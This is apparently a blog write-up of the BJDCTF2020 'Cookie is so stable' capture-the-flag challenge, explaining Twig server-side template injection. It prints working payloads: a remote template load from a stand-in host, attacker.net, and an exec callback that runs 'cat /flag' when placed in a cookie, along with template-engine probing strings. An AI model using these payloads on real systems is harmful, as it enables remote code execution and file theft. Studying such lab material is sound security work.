[WP/SSTI/PHP_Twig]Cookie is so stable解题/Twig模板注入

[BJDCTF2020]Cookie is so stable

PHP-Twig模板注入

参考了知乎大佬的文章:https://zhuanlan.zhihu.com/p/28823933

通过_self我们可以调用环境变量中的env属性,当PHP打开远程加载文件的参数(allow_url_include)时,问我们可以通过它来实现远程文件包含

{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}

利用getFilter函数中的危险函数call_user_func,我们可以实现任意函数调用

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
// 前半段的含义为将`exec`注册为回调函数,后半段为回调参数

源码为

public function getFilter($name)
  {
    ...
    // 遍历回调函数,以$name为参数
    foreach ($this->filterCallbacks as $callback) {
    if (false !== $filter = call_user_func($callback, $name)) {
      return $filter;
    }
  }
  return false;
}

// 注册回调函数,将回调函数名封装为数组
public function registerUndefinedFilterCallback($callable)
{
  $this->filterCallbacks[] = $callable;
}

解题

提示为看Cookie,在Flag页面提交ID后,可以在存储中看到Cookie添加了新的参数,

输入的回显,首先猜测为SSTI,

测试模板,

{{7*'7'}}
回显:49

Twig注入,因此我们构造payload读文件,

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

但是提交会过滤拦截,我们仅需修改COOKIE,然后刷新即可得到flag

补充:

测试模板引擎方法:

// Smarty
a{*comment*}b

// Mako
a{*comment*}b
${"z".join("ab")}

// Jinja2
{{7*7}}
{{7*'7'}}    ->   7777777

// Twig
{{7*7}}
{{7*'7'}}    ->    49

利用HTML探测注入点:

用户输入可作为代码执行

name=Heph4es
hello,Heph4es.

name=Heph4es</body>     <!--整体作为变量传入模板,但并不存在此变量,所以无法显示-->
hello,

name=Heph4es}}</body>   <!--变量被传入,但在}}封闭,</body>逃逸为普通HTML文本-->
hello,

延展:可能的利用方式

  • 触发文件包含
  • 构造XSS
  • 触发命令执行
  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值